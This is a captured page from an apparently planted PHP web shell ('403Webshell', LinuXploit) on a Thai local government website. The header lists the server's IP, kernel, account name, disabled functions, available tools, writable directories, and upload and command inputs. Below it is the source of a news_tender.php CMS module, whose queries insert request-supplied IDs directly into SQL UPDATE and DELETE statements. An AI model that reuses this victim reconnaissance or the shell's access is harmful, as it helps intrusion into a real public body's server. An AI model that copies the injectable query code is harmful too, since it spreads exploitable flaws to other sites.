403Webshell
Server IP : 119.59.102.212  /  Your IP : 216.73.216.88
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/news_tender/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/news_tender/news_tender.php
<?php
if ($p_status_news_tender != "") {
  $status_news_tender = trim($p_status_news_tender);
}
if ($p_id_deles != "") {
  $id_deles = trim($p_id_deles);
}

$date = date("d");
$month = date("m");
$year = date("Y");
$yearthai = $year + 543;
$datenow = $yearthai . $month . $date;
fieldset_top("ข่าวจัดซื้อจัดจ้าง");
//###################### สำหรับ Admin #######################
// Hide - Show news
if ($id_hide != "") {
  update_query("cms_news_tender", "status", "0", "id", $id_hide);
  include('coremain/connec_out.php');
  $sql = "UPDATE cms_news_tender SET status='0' WHERE id='$id_hide' and id_tumbon='$_SESSION[id_tumbon]'";
  $result = mysql_query($sql);
  refresh_page(0, "index.php");
  mysql_close($handle_out);
  include("$_SESSION[web_name]/connect.php");
}
if ($id_show != "") {
  update_query("cms_news_tender", "status", "1", "id", $id_show);
  include('coremain/connec_out.php');
  $sql = "UPDATE cms_news_tender SET status='1' WHERE id='$id_show' and id_tumbon='$_SESSION[id_tumbon]'";
  $result = mysql_query($sql);
  refresh_page(0, "index.php");
  mysql_close($handle_out);
  include("$_SESSION[web_name]/connect.php");
}

// Delete
if ($id_deles != "") {
  delete_news_tender("file", "cms_news_tender", "id", $id_deles);
}


if ($_SESSION['admin_web'] == "admin" or ( id_top_permission("news_tender"))) {
  if ($status_news_tender == "1") {
    $sq = "UPDATE cms_status_module set status='1' WHERE id='3'";
    $re = mysql_query($sq);
  } else if ($status_news_tender == "0") {
    $sq = "UPDATE cms_status_module set status='0' WHERE id='3'";
    $re = mysql_query($sq);
  }
}

$x = select_query("status", "cms_status_module", "id", "3");

// ######################## DELETE 5 Field ###############################
function delete_news_tender($f1, $field, $wfield, $ids) {
  $sql = "select $f1 from $field where $wfield='$ids'";
  $result = mysql_query($sql);
  $data = mysql_fetch_row($result);
  if ($data[0] != "") {
    unlink("$_SESSION[web_name]/mainfile/$data[0]");
  }
  $sql = "delete from $field where $wfield='$ids'";
  $result = mysql_query($sql) or die(mysql_error());
  return true;
  mysql_close($handle);
}

// ซ่อน แสดง เนื้อหาข่าวจัดซื้อจัดจ้าง (ภายในหน่วยงาน)
//if ($x[0] == 1) {
  if ($_SESSION['admin_web'] == "admin" or ( id_top_permission("news_tender"))) {
    $query = "select id,LEFT(topic, 200) as topic,date_post,status from cms_news_tender order by id desc Limit 5";
  } else {
    $query = "select id,LEFT(topic, 200) as topic,date_post,status from cms_news_tender WHERE status='1' and date_line>='$datenow' order by id desc Limit 5";
  }

  echo"<table width='100%' align='right' cellpadding='1' cellspacing='1' bgcolor='$_SESSION[tb_head_bgcolor]'>";
  $result = mysql_query($query);
  $count = 0;
  while ($data = mysql_fetch_array($result)) {
    if ($count % 2 == 0)
      $bg = "eeeeee";
    else
      $bg = "ffffff";
    echo "<tr height='25' bgcolor='$bg'>";
    echo "<td>";
    echo "&nbsp;&nbsp;<img src='coremain/images/marker.gif'> ";
    echo "<a href='index.php?mod=news_tender_full&path=news_tender&id_tender=$data[id]'>$data[topic]</a>";
    echo "</td>";
// สำหรับ admin
    if ($_SESSION['admin_web'] == "admin" or ( id_top_permission("news_tender"))) {
      echo"<td width=85 valign = 'top' align = 'center'>";
      // show - hide
      if ($data[status] == '1') {
        echo "<a href='index.php?mod=first_page&id_hide=$data[id]&path=first_page'><img SRC='coremain/images/show.gif' border='0' title='ซ่อนข้อมูลนี้'></a>";
      } else {
        echo "<a href='index.php?mod=first_page&id_show=$data[id]&path=first_page'><img SRC='coremain/images/hide.gif' border='0' title='แสดงข้อมูลนี้'></a>";
      }
      // update
      box_update("index.php?mod=news_tender_update&id_update=$data[id]&path=news_tender");
      // del
      echo"&nbsp; &nbsp;<a href='index.php?mod=first_page&id_deles=$data[id]&path=first_page' onclick='return del_popup();'><img src='coremain/images/del1.gif' border='0' title='ลบข้อมูลนี้'></a>";
      echo "</td>";
    }

    echo"</tr>";
    $count++;
    if ($count >= "5") {
      echo"<tr bgcolor=$_SESSION[tb_head_bgcolor]> ";
      echo"<td align=center colspan=2><img src='coremain/images/arrow.gif' border='0'>";
      echo " <a href='index.php?mod=news_tender_old&path=news_tender'>ข่าวย้อนหลัง</a></td>";
      echo "</tr>";
    }
  }
  
  if($count == 0){
    echo '<tr><td colspan="2" align="center"><br/><br/>- ไม่มีข่าวจัดซื้อจัดจ้าง -<br/><br/><br/></td></tr>';
  }
  echo "</table>";
//}
// ####################### ข้อมูลย้อนหลัง

fieldset_down();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit